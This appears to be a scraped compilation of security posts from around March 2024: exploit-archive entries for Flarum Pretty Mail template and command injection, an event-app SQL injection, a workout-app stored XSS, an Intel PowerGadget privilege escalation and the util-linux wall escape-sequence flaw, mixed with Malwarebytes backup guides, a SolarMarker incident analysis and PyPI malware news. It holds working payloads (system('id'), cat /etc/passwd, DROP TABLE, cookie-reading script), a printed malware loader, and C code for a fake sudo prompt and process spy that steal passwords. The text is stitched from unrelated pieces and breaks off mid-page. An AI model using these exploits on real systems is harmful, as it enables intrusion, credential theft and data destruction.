The FoF Pretty Mail extension version 1.1.2 for Flarum suffers from a server-side template injection vulnerability.

    Exploit Title: FoF Pretty Mail 1.1.2 Extension for Flarum Server-SideTemplate Injection (SSTI)Date: 03/28/2024Exploit Author: Chokri HammediVendor Homepage: https://flarum.org/Software Link: https://github.com/FriendsOfFlarum/pretty-mailVersion: 1.1.2Tested on: Windows XPCVE: N/ADescription:The FoF Pretty Mail extension for Flarum is vulnerable to Server-SideTemplate Injection (SSTI) due to the unsafe handling of template variables.An attacker with administrative access can inject malicious code into theemail template, leading to arbitrary code execution on the server.Steps to Reproduce:Log in as an administrator on the Flarum forum.Navigate to the FoF Pretty Mail extension settings.Edit the email default template and insert the following payload:{{ 7*7 }}{{ system('id') }}{{ system('echo "Take The Rose"') }}Save the changes to the email template.Trigger any action that sends an email, such as user registration orpassword reset.The recipient of the email will see the result of the injected expressions(e.g., "49" for {{ 7*7 }}, the output of the id command for {{ system('id')}}, and the output of the echo "Take The Rose" command for {{ system('echo"Take The Rose"') }}) in the email content.

FoF Pretty Mail 1.1.2 Server-Side Template Injection

The FoF Pretty Mail extension version 1.1.2 for Flarum suffers from a command injection vulnerability.

    Exploit Title: FoF Pretty Mail 1.1.2 Extension for Flarum Command InjectionDate: 03/28/2024Exploit Author: Chokri HammediVendor Homepage: https://flarum.org/Software Link: https://github.com/FriendsOfFlarum/pretty-mailVersion: 1.1.2Tested on: Windows XPCVE: N/ADescription:The FoF Pretty Mail extension for Flarum is vulnerable to Command Injectiondue to the unsafe handling of user input in the email template. An attackerwith administrative access can inject PHP code into the email template,leading to arbitrary command execution on the server.Steps to Reproduce:Log in as an administrator on the Flarum forum.Navigate to the FoF Pretty Mail extension settings.Edit the email default template and insert one of the following payloads atthe end of the template:<?php system('echo "Take The Rose"; id'); ?>or<?php system('echo "Take The Rose"; cat /etc/passwd'); ?>Save the changes to the email template.Trigger any action that sends an email, such as user registration orpassword reset.The recipient of the email will see the message "Take The Rose" followed bythe output of the injected command (id or cat /etc/passwd) in the emailcontent.

FoF Pretty Mail 1.1.2 Command Injection

Intel PowerGadget version 3.6 suffers from a local privilege escalation vulnerability.

    Vulnerability summary: Local Privilege Escalation from regular user to SYSTEM, via conhost.exe hijacking triggered by MSI installer in repair modeAffected Products: Intel PowerGadgetAffected Versions: tested on PowerGadget_3.6.msi (a3834b2559c18e6797ba945d685bf174), file signed on ‎Monday, ‎February ‎1, ‎2021 9:43:20 PM (this seems to be the latest version), earlier versions might be affected as well.Affected Platforms: WindowsCommon Vulnerability Scoring System (CVSS) Base Score (CVSSv3): 7.8 HIGHRisk score (CVSSv3): 7.8 HIGH AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H&version=3.1)I have reported this issue to Intel, but since the product has been marked End of Life since October 2023, it is not going to receive a security update nor a security advisory. Intel said that they are OK with me making this finding public, under the condition that I would emphasize that the product is EOL.Description and steps to replicate:On systems where Intel PowerGadget is installed from an MSI package, a local interactive regular user is able to run the MSI installer file in the "repair" mode and hijack the conhost.exe process (which is created by an instance of sc.exe the installer calls during the process) by quickly left-clicking on the console window that pops up for a split second in the late stage of the process. Left-clicking on the conhost.exe console window area freezes the console (meaning it prevents the sc.exe process from exiting). That process is running as NT AUTHORITY/SYSTEM. From there, it is possible to run a web browser by clicking on one of the links in the small GUI window that can be called by right-clicking on the console window bar and entering "properties". Once a web browser is spawn, attacker can call up the "Open" dialog and in that way get a fully working escape to explorer. From there they can, for example, browse through C:\Windows\System32 and right-click on cmd.exe and run it, obtaining as SYSTEM shell.Now - an important detail - on most recent builds of Windows neither Edge nor Internet Explorer will spawn as SYSTEM (this is a mitigation from Microsoft); thus for successful exploitation another browser has to already be present in the system. As you can see I pick Chrome and then spawn an instance of cmd.exe, which turns out to be running as SYSTEM. Also, when doing this, DO NOT check "always use this app" in that dialog, as if you pick the wrong one (e.g. Edge or IE), it will be saved as the default http/https handler for SYSTEM and from then further attacks like this won't work if you want to repeat the POC - unless you reverse that change somewhere in the registry.This class of Local Privilege Escalations is described by Mandiant in this article: https://www.mandiant.com/resources/blog/privileges-third-party-windows-installers.To run the installer in repair mode, one needs to identify the proper MSI file. After normal installation, it is by default present in C:\Windows\Installer directory, under a random name. The proper file can be identified by attributes like control sum, size or "author" information.The exploitation process is illustrated in the screenshots below, reflecting the the steps taken to attain a SYSTEM shell (no exploit development is required, the issue can be exploited using GUI).Recommendation:Technically, as per the reference, it is recommended to change the way the sc.exe is called, using the WixQuietExec() method (see the second reference). In such case the conhost.exe window will not be visible to the user, thus making it impossible to perform any GUI interaction and an escape.I am, however, aware that this product is no longer maintained since October 2023 (https://www.intel.com/content/www/us/en/developer/articles/tool/power-gadget.html) and that includes security updates. Still, I believe a security advisory and CVE should be released just to make users and administrators aware why they need to replace PowerGadget with Intel Performance Counter Monitor.Another possible (short-term) mitigation is to disable MSI (https://learn.microsoft.com/en-us/windows/win32/msi/disablemsi).References:https://hackingiscool.pl/intel-powergadget-3-6-local-privilege-escalation/https://www.mandiant.com/resources/blog/privileges-third-party-windows-installershttps://wixtoolset.org/docs/v3/customactions/qtexec/https://www.intel.com/content/www/us/en/developer/articles/tool/power-gadget.html)https://learn.microsoft.com/en-us/windows/win32/msi/disablemsi

Intel PowerGadget 3.6 Local Privilege Escalation

An easy-to-understand guide on how to back up your Windows PC to OneDrive.

They say the only backup you ever regret is the one you didn’t make. Starting in Windows 10, the operating system (OS) now comes with a built-in tool to back up your files, themes, some settings, many of your installed apps, and your Wi-Fi information.

First, you’ll need to sign in with your Microsoft account

Go to **Start**  > **Settings**  > **Accounts**  > **Your info** . Select **Sign in with a Microsoft account instead**. You’ll see this only if you’re using a local account. If you see **Sign in with a local account instead**, you’re already using your Microsoft account.

To start the backup process select **Start**  **\> Windows Backup**.

Select **Folders** to drop down a list, and select which of your user folders you want to back up by toggling them **On** or **Off**. The ones you have already backed up will say **Backed up** next to them.

**Next**, you can move forward to back up your settings. You can use the drop down for each category and select the items you want to back up by setting them to **On** or **Off**.

First choose your apps:

Then your settings:

Then your credentials:

When you’ve decided on what to back up, click **Back up** and the backup will be made.

From this point on, Windows will synchronize these backups at regular intervals. If it’s been a while since you made your backups or changed your settings, you can check the status by going to **Start  > Settings  > Accounts  > Windows backup**.

_Current status_

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

 How to back up your Windows 10/11 PC to OneDrive 

An easy-to-understand guide on how to back up your iPhone to a Windows computer

They say the only backup you ever regret is the one you didn’t make. iPhone backups can be used to easily move your apps and data to a new phone, to recover things you’ve lost, or to fix things that have failed.

We’ve published posts on how to back up your iPhone to iCloud, and how to backup an iPhone to a Mac. Another method is to backup using the iTunes app on a Windows system.

Choose whichever backup method works best for you, and will continue to work.

First, connect your iPhone to the Windows system with a cable.

You are likely to see a prompt on your iPhone asking whether it can trust this computer.

To proceed, tap **Trust** and entering your passcode.

Then open the iTunes app on your Windows device.

In iTunes click the **Device** symbol in the upper left corner (next to the Music drop down box).

_Note: It may take a while before the device icon appears_

In the **Settings** of the iTunes app select **Summary**.

You’ll see some device data about your iPhone, and below that a **Backups** menu.

Here you can select either **iCloud** or **This Computer**.

To create a local backup select **This Computer** and click on **Back Up Now** to create a new backup of your iPhone on your Windows System.

To encrypt your backups, select **Encrypt local backup**, type a password, then click **Set Password**.

**We don’t just report on phone security—we provide it**

Cybersecurity risks should never spread beyond a headline. Keep threats off your mobile devices by downloading Malwarebytes for iOS, and Malwarebytes for Android today.

 How to back up your iPhone to a Windows computer 

How experts uncovered a years-long SolarMarker attack on a K-12 district

In early 2024, a large K-12 school district partnered with ThreatDown MDR to strengthen its cybersecurity posture. Shortly after onboarding, ThreatDown MDR analysts detected unusual patterns of activity subsequently identified as the work of SolarMarker, a sophisticated backdoor. It became evident that SolarMarker had been present in the district’s system since at least 2021, likely exfiltrating data over several years.

Let’s dive further into the investigation’s findings and the steps taken to mitigate the threat.

**SolarMarker infection****Background**

The incident began with the detection of an anomalous instance of PowerShell attempting to establish an outbound network connection to a suspicious IP address **(188.241.83.61)**. This connection attempt was thwarted by Malwarebytes Web Protection (MWAC), signaling the first indication of a potential security breach.

**Initial challenges**

Upon investigation, it was discovered that Endpoint Detection and Response (EDR) settings were disabled in the client’s endpoint policy. This limitation prevented the use of Fast Response Scanning (FRS) to capture and analyze detailed endpoint data, necessitating a manual approach to the investigation utilizing Active Response Scanning (ARS).

**Investigation and analysis**

The first step involved querying active network connections with **netstat**, which revealed an instance of PowerShell in operation. To further understand the nature of this PowerShell instance, its command line was examined using Windows Management Instrumentation Command-line (WMIC) with the process ID (PID), which unveiled obfuscated code.

**Decoding and understanding SolarMarker**

The obfuscated PowerShell code was extracted and refactored for clarity. The analysis revealed the following components of the malware’s operation:

    powershell
    
    $decodeKey = '<Base64_encoded_string>'
    
    $encodedFilePath = 'C:\Users\akeith\AppData\Roaming\micROSoft\wbpgVnSBjsytaokm\JqdVQplHfgwxyNmtaPX.gvzPlATqFe'
    
    $decodedPayload = [System.IO.File]::ReadAllBytes($encodedFilePath)
    
    for ($payloadIndex = 0; $payloadIndex -lt $decodedPayload.Count; $payloadIndex++) {
    
     $decodedPayload[$payloadIndex] = $decodedPayload[$payloadIndex] -bxor $decodeKey[$payloadIndex % $decodeKey.Length]
    
     if ($payloadIndex -ge $decodeKey.Length) {
    
     $payloadIndex = $decodeKey.Length
    
     }
    
    }
    
    [System.Reflection.Assembly]::Load($decodedPayload)
    
    [ab821408b424418fa94bb4d815b4e.ad0682a943e4859ef35309cc0a537]::a1f5abfa214411baa77e25f6ceaa6()
    

This code reveals the malware’s methodology:

*   It utilizes a Base64-encoded string as a decryption key.
*   It targets a specific file path for encoded data.
*   It reads, decodes, and executes the encrypted payload.

The command line shows signs of the malicious script execution, with parameters indicative of a desire to hide the window (-WindowStyle Hidden), bypass execution policies (-Ep ByPass), and run encoded commands (-ComMand “sa43…). 

Further investigation uncovered randomly named folders within the AppData\\Roaming\\Microsoft directory, each containing encoded payloads. These discoveries suggested a more widespread infection than initially anticipated.

**Response and mitigation**

The response involved several steps to contain and eliminate the threat:

*   Terminating the malicious PowerShell instance.
*   Deleting the identified folders containing encoded payloads.
*   Conducting a thorough search for persistence mechanisms, which fortunately yielded no findings.

A comprehensive threat scan was executed, and the incident was escalated for visibility with the client. Post-reboot checks confirmed the absence of persistence, no spawn of new PowerShell instances, and blocking of suspicious network connections, indicating successful remediation of the infection.

**Conclusion**

As we’ve seen in our 2024 State of Ransomware in Education report, the educational sector continues to be a prime target for attackers. In this case, attackers used SolarMarker, a sophisticated backdoor, to lurk within the school district’s network for years, likely stealing data in the process. Its presence went undetected until the district onboarded with ThreatDown MDR. Despite facing initial obstacles, such as disabled EDR settings, the ThreatDown MDR team successfully identified and neutralized the SolarMarker infection through manual intervention.

Discover how ThreatDown MDR can safeguard your K-12 institution.

 Stopping a K-12 cyberattack (SolarMarker) with ThreatDown MDR 

By Waqas
Are you a Python developer? Here's what you need to know!
This is a post from HackRead.com Read the original post: PyPI Suspends New Projects and Users Due to Malicious Packages

PyPI hit by malware attack! Malicious packages targeting crypto wallets & browser data. Platform suspends new users & projects. Learn how to stay safe and what you should do.

_This article has been updated with new information._

In a move to combat a large-scale malware campaign, the Python Package Index (PyPI), the official repository for third-party Python software, has suspended new user registration and project creation. This critical action comes after security researchers at Checkmarx identified a series of malicious packages targeting unsuspecting developers.

According to PyPI’s official update released on March 28th, 2024, at 2:16 UTC, the platform is taking proactive measures to “mitigate an ongoing malware upload campaign.” This suspension aims to disrupt the attackers’ efforts and protect the vast Python developer community.

****Checkmarx Discovers Deceptive Software****

The security team at Checkmarx identified a coordinated effort by threat actors to upload malicious packages onto PyPI. These packages are designed to exploit a common vulnerability known as typosquatting. Typosquatting tricks users into installing malware by using names and website addresses that closely resemble those of legitimate software.

Once installed, these malicious packages unleash a multi-stage attack. The initial payload targets a user’s cryptocurrency wallets, aiming to steal valuable digital assets. The attackers further expand their reach by scraping sensitive data from browsers, including cookies and extension information. Additionally, the malware attempts to steal various login credentials, potentially compromising a user’s entire digital ecosystem.

According to Checkmarx’s research shared with Hackread.com ahead of publication on Thursday, the most concerning aspect of this attack is the malware’s persistence mechanism. This mechanism allows the malware to survive system reboots, ensuring its continued operation even after a restart. This persistence significantly increases the difficulty of detection and eradication.

****PyPI Fights Back****

PyPI’s quick suspension of new user registration and project creation shows the platform’s commitment to user safety. This action also potentially disrupts the attackers’ ability to upload new malicious packages and provides PyPI with time to implement more robust security measures.

****What Developers Should Do****

While PyPI works to address the situation, developers are advised to exercise extreme caution when installing Python packages. Here are some essential security practices:

*   **Double-check package names and sources:** Meticulously verify the spelling and origin of any package before installation. Typosquatting relies on tricking users into installing the wrong software.
*   **Verify publisher reputation:** Research the publisher behind a package before trusting it. Look for established developers with a history of creating reliable software.
*   **Read reviews and ratings:** User reviews and ratings can offer valuable insights into a package’s legitimacy and functionality.
*   **Stay informed:** Keep yourself updated on the latest security threats targeting PyPI and the Python community.

****The Future of PyPI Security****

The PyPI security team is working to identify and remove all malicious packages from the platform. Additionally, they will be implementing tougher measures to prevent similar attacks in the future. Developers can expect further announcements from PyPI regarding the timeline for resuming new user registration and project creation.

This incident goes on to show how sophisticated cyberattacks have become especially when targeting the software development community. By working together, developers, security researchers, and platform operators like PyPI can create a safer and more secure environment for everyone.

****UPDATE Mar 28, 2024 – 12:56 UTC****

As of March 28, 2024, 12:56 UTC, PyPI’s official website states, “This incident has been resolved,” indicating that the registration of new projects and users is now enabled again.

1.  Why is learning Python important in Data Science?
2.  OpenSSF Launches Malicious Packages Repository
3.  6 official Python repositories plagued with cryptomining malware
4.  Crypto Stealing PyPI Malware Hits Both Windows and Linux Users
5.  GitHub Abused to Spread Malicious Packages on PyPI in Image Files

PyPI Suspends New Projects and Users Due to Malicious Packages

Event Management version 1.0 suffers from a remote SQL injection vulnerability.

    # Exploit Title: Event Management - SQL Injection# Application: Event Management# Date: 19.02.2024# Bugs: SQL Injection # Exploit Author: SoSPiro# Vendor Homepage: https://github.com/PuneethReddyHC# Software Link: https://github.com/PuneethReddyHC/event-management# Version:1.0# Attack Type: Remote# Tested on: Windows 10 64 bit Wampserver # About project:helps to register an users for on events conducted in college fests with simple logic with secured way## Vulnerability Details:- **Application Name**: Event Management- **Software Link**: [Download Link](https://github.com/PuneethReddyHC/event-management)- **Vendor Homepage**: [Vendor Homepage](https://github.com/PuneethReddyHC)# Vulnerable code section:# https://github.com/PuneethReddyHC/event-management/blob/master/backend/register.php#L64<?php// ... (other code)if(empty($full_name)  || empty($email)  || empty($mobile)) {    // Error messages and actions for incomplete data} else {    if(!preg_match($name,$full_name)){        // Error messages and actions for invalid full name    }    // Additional regex checks for email and mobile format    // Verifying mobile number length    if(!(strlen($mobile) == 10)){        // Error message and action for invalid mobile number length    }    // Database insertion operation    $sql = "INSERT INTO `participants`             (`p_id`,`event_id`, `fullname`, `email`,              `mobile`,  `college`, `branch`)             VALUES (NULL,'$event_id', '$full_name',  '$email',              '$mobile', '$college', '$branch')";                if(mysqli_query($con,$sql)){        // Successful registration message        echo "register_success";        echo "<script> location.href='index.php'; </script>";        exit;    }}// ... (other code)?># Vulnerability Description:The code in register.php is vulnerable to SQL injection, allowing an attacker to manipulate the SQL query and potentially perform unauthorized actions on the database. Additionally, the code lacks proper input validation and sanitization, making it susceptible to various forms of attacks such as cross-site scripting (XSS) and potential security risks.# Proof of Concept (PoC):SQL Injection:The vulnerability can be exploited by an attacker by manipulating the input parameters. For example, the event_id parameter is directly used in the SQL query without proper validation or parameterization:An attacker can manipulate the event_id parameter in the HTTP request to inject malicious SQL code.PoC:POST /event-management-master/backend/register.php HTTP/1.1Host: localhostevent_id=1'; DROP TABLE participants; --This could result in a SQL query like:INSERT INTO `participants` (`p_id`,`event_id`, `fullname`, `email`, `mobile`,  `college`, `branch`) VALUES (NULL,'1'; DROP TABLE participants; --', 'test', 'test@gmail.com', '0555555555', 'asd', 'qwe')To mitigate this, use prepared statements or parameterized queries to ensure proper sanitization of user inputs.

Event Management 1.0 SQL Injection

The util-linux wall command does not filter escape sequences from command line arguments. The vulnerable code was introduced in commit cdd3cc7fa4 (2013). Every version since has been vulnerable. This allows unprivileged users to put arbitrary text on other users terminals, if mesg is set to y and wall is setgid. CentOS is not vulnerable since wall is not setgid. On Ubuntu 22.04 and Debian Bookworm, wall is both setgid and mesg is set to y by default.

Wall-Escape (CVE-2024-28085)

Skyler Ferrante: Escape sequence injection in util-linux wall

=================================================================  
Summary  
=================================================================

The util-linux wall command does not filter escape sequences from  
command line arguments. The vulnerable code was introduced in  
commit cdd3cc7fa4 (2013). Every version since has been  
vulnerable.

This allows unprivileged users to put arbitrary text on other  
users terminals, if mesg is set to y and wall is setgid. CentOS  
is not vulnerable since wall is not setgid. On Ubuntu 22.04 and  
Debian Bookworm, wall is both setgid and mesg is set to y by  
default.

If a system runs a command when commands are not found, with the  
unknown command as an argument, the unknown command will be  
leaked. This is true of Ubuntu 22.04. Debian Bookworm does not  
leak unknown commands in its starting configuration.

On Ubuntu 22.04, we have enough control to leak a users password  
by default. The only indication of attack to the user will be an  
incorrect password prompt when they correctly type their  
password, along with their password being in their command  
history.

On other systems that allow wall messages to be sent, an attacker  
may be able to alter the clipboard of a victim. This works on  
windows-terminal, but not on gnome-terminal.

=================================================================  
Analysis  
=================================================================

When displaying inputs from stdin, wall uses the function  
fputs_careful in order to neutralize escape characters.

Unfortunately, wall does not do the same for input coming from  
argv.

term-utils/wall.c (note that mvec is argv)  
```  
/*  
* Read message from argv[]  
*/  
int i;

for (i = 0; i < mvecsz; i++) {  
  fputs(mvec[i], fs);  
  if (i < mvecsz - 1)  
          fputc(' ', fs);  
}  
fputs("\r\n", fs);  
...

/*  
 * Read message from stdin.  
 */  
while (getline(&lbuf, &lbuflen, stdin) >= 0)  
        fputs_careful(lbuf, fs, '^', true, TERM_WIDTH);  
```

Since argv is attacker controlled, and can contain binary data,  
this is exploitable. A simple PoC command:

        wall $(printf "\033[33mHI")

If you are vulnerable, this should show a broadcast with "HI"  
being yellow. If we instead run:

        echo $(printf "\033[33mHI") | wall

This should fail with "^[[33m" showing up before our message.

To make sure the PoC will work, make sure your victim user can  
actually receive messages. First check that mesg is set to y  
(`mesg y`). If a user does not have mesg turned on, they are not  
exploitable.

If you still can't receive messages, try running `su user` or  
accessing the machine through SSH. Note that just because you  
can't receive messages without first going through su/SSH, does  
not mean a user is not vulnerable.  
=================================================================  
Exploitation  
=================================================================

Most distros allow argument data to be seen by unprivileged  
users, and some distros run commands when commands are not found.  
We can use this to leak a users password by tricking them into  
giving their password as a command to run.

When I run the command xsnow in my terminal, I get the following  
output:  
```  
Command 'xsnow' not found, but can be installed with:  
sudo apt install xsnow  
```

Lets look at what new processes are created when I do this:  
```  
-bash  
/usr/bin/python3 /usr/lib/command-not-found -- xsnow  
/usr/bin/snap advise-snap --format=json --command xsnow  
```

This is on Ubuntu, but similar commands exist on other systems.

As a simple demonstration let's create a fake sudo prompt for  
gnome-terminal, and then spy on /proc/$pid/cmdline.

fake sudo prompt:  
```  
#include<stdio.h>  
#include<unistd.h>

int main(){  
        char* argv[] = {"prog",  
                "\033[3A" // Move up 3  
                "\033[K"  // Delete prompt  
                "[sudo] password for a_user:"  
                "\033[?25l"  
                // Set forground RGB (48,10,36)  
                //      hide typing  
                "\033[38;2;48;10;36m",  
        NULL};

        char* envp[] = {NULL};

        execve("/usr/bin/wall", argv, envp);  
}  
```

cmdline spy:  
```  
#include<stdio.h>  
#include<sys/types.h>  
#include<sys/stat.h>  
#include<fcntl.h>  
#include<unistd.h>  
#include<ctype.h>  
#include<stdlib.h>  
#include<dirent.h>  
#include<time.h>

#define USLEEP_TIME 2000

int main(){  
        pid_t current_max_pid = 0, next_max_pid;  
        char current_file_name[BUFSIZ];  
        char buf[BUFSIZ];

        DIR* proc_dir;  
        struct dirent *dir_e;  
        int curr_e_fp;

        while(1){  
                proc_dir = opendir("/proc");  
                if(!proc_dir)  
                        abort();

                usleep(USLEEP_TIME);  
                while((dir_e = readdir(proc_dir)) != NULL){  
                        char* d_name = dir_e->d_name;

                        // If not a digit (not a process folder)  
                        if(!isdigit(*d_name))  
                                continue;

                        int num = atoi(d_name);

                        if(num > current_max_pid){  
                                next_max_pid = num;  
                        }else{  
                                continue;  
                        }

                        snprintf(current_file_name,  
sizeof(current_file_name), "%s%s%s", "/proc/", d_name, "/cmdline");  
                        curr_e_fp = open(current_file_name, O_RDONLY);  
                        int ra = read(curr_e_fp, buf, BUFSIZ-1);  
                        close(curr_e_fp);

                        for(int i = 0; i<ra-1; i++)  
                                if(buf[i] == '\0') buf[i] = ' ';

                        // guaranteed to be in-bounds  
                        buf[ra-1] = '\n';

                        write(1, buf, ra);  
                }  
                current_max_pid = next_max_pid;  
                closedir(proc_dir);  
        }  
}  
```

If we run the cmdline spy and the sudo password prompt, the user  
may input their password as a command. It will look like the  
following on Ubuntu:

```  
-bash  
/usr/bin/python3 /usr/lib/command-not-found -- SuperSecretPassword!  
/usr/bin/snap advise-snap --format=json --command SuperSecretPassword!  
```

Some distros, like Debian, do not seem to have a command like  
command-not-found by default. There does not seem to be a way to  
leak a users password in this case then, even though we can send  
escape sequences to them.

This works, but the user has no reason to expect a password page  
at this point. Now that we have shown some exploitability, lets  
try and make it better.

Imagine we run the cmdline spy in one terminal, and then in  
another terminal we run `sudo systemctl status cron.service`.  
The spy will see the sudo process first, and then after the user  
types their password correctly they will see `systemctl status  
cron.service`.

```  
sudo systemctl status cron.service  
systemctl status cron.service  
```

An attacker could inject a password incorrect message as soon as  
the second process starts (password correct). The user will  
assume they typed their password incorrectly and enter it again.

watch for certain command  
```  
#include<stdio.h>  
#include<sys/types.h>  
#include<sys/stat.h>  
#include<fcntl.h>  
#include<unistd.h>  
#include<ctype.h>  
#include<stdlib.h>  
#include<dirent.h>  
#include<time.h>  
#include<string.h>

#define USLEEP_TIME 3000

int main(int argc, char** argv){  
        pid_t current_max_pid = 0, next_max_pid;  
        char current_file_name[BUFSIZ];  
        char buf[BUFSIZ];

        DIR* proc_dir;  
        struct dirent *dir_e;  
        int curr_e_fp;

        if(argc != 2){  
                printf("Usage: prog search_string\n");  
                return 1;  
        }

        while(1){  
                proc_dir = opendir("/proc");  
                if(!proc_dir)  
                        abort();  
                usleep(USLEEP_TIME);  
                while((dir_e = readdir(proc_dir)) != NULL){  
                        char* d_name = dir_e->d_name;

                        // If not a digit (not a process folder)  
                        if(!isdigit(*d_name))  
                                continue;

                        snprintf(current_file_name,  
sizeof(current_file_name), "%s%s%s", "/proc/", d_name, "/cmdline");  
                        curr_e_fp = open(current_file_name, O_RDONLY);  
                        int ra = read(curr_e_fp, buf, BUFSIZ-1);  
                        close(curr_e_fp);

                        for(int i = 0; i<ra-1; i++)  
                                if(buf[i] == '\0') buf[i] = ' ';

                        // guaranteed to be in-bounds  
                        buf[ra-1] = '\0';

                        // Check if proces is us  
                        if(strstr(buf, argv[0])){  
                                continue;  
                        }  
                        // Check against search string  
                        if(!strcmp(buf, argv[1])){  
                                write(1, buf, ra);  
                                write(1, "\n", 1);  
                                return 0;  
                        }  
                }  
                closedir(proc_dir);  
        }  
}  
```

Imagine our new spy code was compiled as watch, and our wall  
exploit was called throw.

We can now run:  
```  
./watch "sudo systemctl start sshd"; ./watch "systemctl start sshd";  
sleep .1; ./throw  
```

The first two commands will wait until the user runs

        sudo systemctl start sshd

and correctly types their password for sudo. Then our wall  
exploit sends our fake sudo prompt. We need to sleep for a short  
duration to make sure we cover up the command prompt.

During this process, we need to make sure our original spy code  
is logging all cmdline arguments, to recover the victims password

Example log from original spy:  
```  
./watch sudo systemctl start sshd  
sudo systemctl start sshd  
./watch systemctl start sshd  
systemctl start sshd  
bash  
./throw  
bash  
/usr/bin/python3 /usr/lib/command-not-found -- SuperStrongPassword  
/usr/bin/snap advise-snap --format=json --command SuperStrongPassword  
```

Now lets imagine a different style of attack. An attacker can  
change a users clipboard through escape sequences on some  
terminals. For example, windows-terminal supports this. Gnome  
terminal does not.

```  
#include<stdio.h>

int main(){  
        printf("\033]52;c;QXR0YWNrZXIgbWVzc2FnZQo=\a");  
}  
```

Since we can send escape sequences through wall, if a user is  
using a terminal that supports this escape sequence, an attacker  
can change the victims clipboard to arbitrary text.

Further references:  
  https://people.rit.edu/sjf5462/6831711781/wall_2_27_2024.txt  
  https://github.com/skyler-ferrante/CVE-2024-28085

util-linux wall Escape Sequence Injection

Workout Journal App version 1.0 suffers from a persistent cross site scripting vulnerability.

# Exploit Title: Workout Journal App 1.0 - Stored XSS# Date: 12.01.2024# Exploit Author: MURAT CAGRI ALIS# Vendor Homepage: https://www.sourcecodester.com<https://www.sourcecodester.com/php/17088/workout-journal-app-using-php-and-mysql-source-code.html># Software Link: https://www.sourcecodester.com/php/17088/workout-journal-app-using-php-and-mysql-source-code.html# Version: 1.0# Tested on: Windows / MacOS / Linux# CVE : CVE-2024-24050# DescriptionInstall and run the source code of the application on localhost. Register from the registration page at the url workout-journal/index.php. When registering, stored XSS payloads can be entered for the First and Last name on the page. When registering on this page, for the first_name parameter in the request to the /workout-journal/endpoint/add-user.php urlFor the last_name parameter, type " <script>console.log(document.cookie)</script> " and " <script>console.log(1337) </script> ". Then when you log in you will be redirected to /workout-journal/home.php. When you open the console here, you can see that Stored XSS is working. You can also see from the source code of the page that the payloads are working correctly. This vulnerability occurs when a user enters data without validation and then the browser is allowed to execute this code.# PoCRegister Request to /workout-journal/endpoints/add-user.phpPOST /workout-journal/endpoint/add-user.php HTTP/1.1Host: localhostContent-Length: 268Cache-Control: max-age=0sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/workout-journal/index.phpAccept-Encoding: gzip, deflate, brAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7Cookie: PHPSESSID=64s63vgqlnltujsrj64c5o0vciConnection: closefirst_name=%3Cscript%3Econsole.log%28document.cookie%29%3C%2Fscript%3E%29&last_name=%3Cscript%3Econsole.log%281337%29%3C%2Fscript%3E%29&weight=85&height=190&birthday=1991-11-20&contact_number=1234567890&email=test%40mail.mail&username=testusername&password=Test123456-This request turn back 200 Code on ResponseHTTP/1.1 200 OKDate: Sat, 16 Mar 2024 02:05:52 GMTServer: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.4X-Powered-By: PHP/8.1.4Content-Length: 214Connection: closeContent-Type: text/html; charset=UTF-8                <script>                    alert('Account Registered Successfully!');                    window.location.href = 'http://localhost/workout-journal/';                </script>After these all, you can go to login page and login to system with username and password. After that you can see that on console payloads had worked right./workout-journal/home.php RequestGET /workout-journal/home.php HTTP/1.1Host: localhostsec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: http://localhost/workout-journal/endpoint/login.phpAccept-Encoding: gzip, deflate, brAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7Cookie: PHPSESSID=co1vmea8hr1nctjvmid87fa7d1Connection: close/workout-journal/home.php ResponseHTTP/1.1 200 OKDate: Sat, 16 Mar 2024 02:07:56 GMTServer: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.4X-Powered-By: PHP/8.1.4Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheContent-Length: 2791Connection: closeContent-Type: text/html; charset=UTF-8    <!DOCTYPE html>    <html lang="en">    <head>        <meta charset="UTF-8">        <meta name="viewport" content="width=device-width, initial-scale=1.0">        <title>Workout Journal App</title>                <link rel="stylesheet" href="./assets/style.css">                <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/css/bootstrap.min.css">        <style>            body {                overflow: hidden;            }        </style>    </head>    <body>        <div class="main">            <nav class="navbar navbar-expand-lg navbar-dark bg-dark">                <a class="navbar-brand ml-3" href="#">Workout Journal App</a>                <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">                    <span class="navbar-toggler-icon"></span>                </button>                <div class="collapse navbar-collapse" id="navbarSupportedContent">                    <ul class="navbar-nav ml-auto">                    <li class="nav-item active">                        <a class="nav-link" href="./endpoint/logout.php">Log Out</a>                    </li>                </div>            </nav>            <div class="landing-page-container">                <div class="heading-container">                    <h2>Welcome <script>console.log(document.cookie);</script>) <script>console.log(1337);</script>)</h2>                    <p>What would you like to do today?</p>                </div>                <div 